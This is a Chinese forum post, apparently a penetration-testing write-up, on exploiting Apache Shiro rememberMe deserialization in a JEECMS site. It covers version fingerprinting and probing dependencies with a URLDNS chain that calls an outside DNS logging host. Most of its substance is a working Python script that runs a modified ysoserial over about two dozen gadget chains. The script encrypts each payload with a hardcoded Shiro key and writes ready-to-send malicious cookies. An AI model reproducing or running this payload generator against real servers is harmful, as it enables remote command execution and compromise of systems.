Shiro进阶技巧——深度探索某CMS中的新发现

前言: 在最近的一次攻防中,再次遭遇到JEECMS。虽然有关键信息,但缺乏常规链可回显。此次通过DNSURL的利用链成功实现了出网。

信息收集: 发现一个有关JEECMS信息的小技巧:通过install.html可以查看jeecms的版本。

图片[1]-Shiro进阶技巧——深度探索某CMS中的新发现-山海云端论坛

使用DNSURL探测其他利用链: 针对Shiro,利用成熟的exp工具自动回显利用情况的场景逐渐减少。即使找到key,也很难找到合适的利用方式和正确的利用版本(工具生成序列化字符串时使用的依赖版本与服务器上运行的依赖版本不符会产生报错,无法反序列化)。

然而,DNSURL链基于jar包且不受版本影响,因此在遇到shiro的出网站点时,可以使用工具(https://github.com/kezibei/Urldns)生成探测payload,随后通过自行编写脚本进行aes或gcm加密。在使用Burp输入cookie字段发包后,可以得知服务器为Windows服务器,存在c3p0-92版本和cc31版本依赖(但并非一定可以利用)。

图片[2]-Shiro进阶技巧——深度探索某CMS中的新发现-山海云端论坛

相关EXP脚本: 在验证过程中,配合一个经过修改的yso(ysoserial-for-woodpecker)编写了脚本来批量生成payload,以便通过Burp发送请求进行测试。

<code># pip install pycrypto import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command,gadget): popen = subprocess.Popen(['java', '-jar', '.\\ysoserial-for-woodpecker-0.5.1.jar', '-g', gadget , '-a', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "4AvVhmFLUs0KTA3Kprsdag==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext def encode_rememberme1(): popen = subprocess.Popen(['java', '-jar', '.\\ysoserial-for-woodpecker-0.5.1.jar', '-g', 'URLDNS' , '-a', 'http://test5.351999e7.dns.1433.eu.org'], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "4AvVhmFLUs0KTA3Kprsdag==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': cmd = sys.argv[1] gadgets = ['C3P0','C3P0_LowVer','CommonsBeanutils1','CommonsBeanutils1_183','CommonsBeanutils2','CommonsBeanutils2_183','CommonsBeanutils3', 'CommonsCollections1','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','CommonsCollections8', 'CommonsCollections9','CommonsCollections10','CommonsCollections11','CommonsCollections6Lite','CommonsCollectionsK1','CommonsCollectionsK2','CommonsCollectionsK3','CommonsCollectionsK4'] for gadget in gadgets: payload=encode_rememberme(cmd,gadget) with open("./payload.cookie", "a+") as fpw: print("rememberMe={}".format(payload.decode()), file=fpw) payload1=encode_rememberme1() with open("./payload.cookie", "a+") as fpw: print("rememberMe={}".format(payload1.decode()), file=fpw)</code>

通过以上步骤,实现了一次成功的攻防交互。

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容